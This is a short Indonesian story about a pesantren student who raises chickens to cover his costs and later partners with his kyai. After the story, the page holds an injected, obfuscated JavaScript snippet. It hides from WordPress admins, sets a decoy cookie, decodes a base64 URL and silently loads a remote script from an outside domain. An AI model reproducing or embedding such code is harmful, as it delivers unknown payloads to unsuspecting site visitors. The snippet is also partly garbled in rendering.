Oleh : Faishal Farid
“Shadaqallahul-‘adzim”
Kelas mengaji telah selesai seorang santri berlari ke kamar dan mengganti pakaian untuk menuju kesuatu tempat, akhir – akhir ini ia selalu telat memberi pakan ayam ternaknya dan ia selalu diejek temannya tapi ia tetap teguh karna dia akan menjual ayam ternaknya untuk uang sakunya di pesantren. walaupun cuma 5 ekor ia rawat dengan serius.
Ia bernama Arman, seorang santri asal pemalang yang tidak pernah dijenguk oleh orang tuanya selama ia mondok di pesantren, ia juga sering tidak dikirim uang saku oleh orang tuanya karena orang tuanya hanya bekerja sebagai supir angkutan umum. Untuk mencukupi kebutuhan selama ia di pesantren ia berternak ayam. Berawal dari membeli dua ekor ayam di pasar sampai berkembang menjadi 12 dan menjadi 5 ekor ayam. Arman menghadapi semua cobaan yang menimpanya selama satu tahun berternak. Cobaan yang sering ia hadapi adalah ayam ternaknya yang selalu dicuri oleh orang luar ataupun hewan seperti musang, karna kandang ayamnya diletakan jauh di samping dapur yang berhubungan langsung dengan hutan kecil. Tapi ia selalu bersabar karna ia percaya dari sesuatu yang kecil pasti menjadi besar.
Ayam yang ia ternak biasanya bisa dipanen 1 kali dalam sebulan dan laku terjual diharga 35.000 rupiah, dengan mendapatkan uang sebesar itu ia gunakan seperlunya karna selain digunakan untuk diri sendiri ia juga harus membeli pakan dan obat untuk ayamnya supaya ayamnya selalu sehat dan memiliki nilai jual tinggi. disela – sela ia ternak ayam ia tidak meninggalkan kewajibannya untuk mengaji, supaya ayamnya mendapat nutrisi pakan yang baik ia biasanya memberi pakan ayam – ayamnya setelah selesai kelas ngaji pagi dan sore.
Karena telah lama ia ternak ayam kyai-nya pun ikut mendukungnya dengan melakukan kerjasama yang hasilnya arman akan mendapatkan separuh keuntungan dari ternak ayam kyai-nya. Kyai-nya berencana membuat kandang ayam besar untuk menampung ayam yang lebih banyak dan akan dikelola oleh arman. Karna mendengar hal itu arman pun sangat bergembira karna selain ia mendapatkan uang lebih ia juga bisa berkhidmat dengan kyai-nya.
#Farid
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();



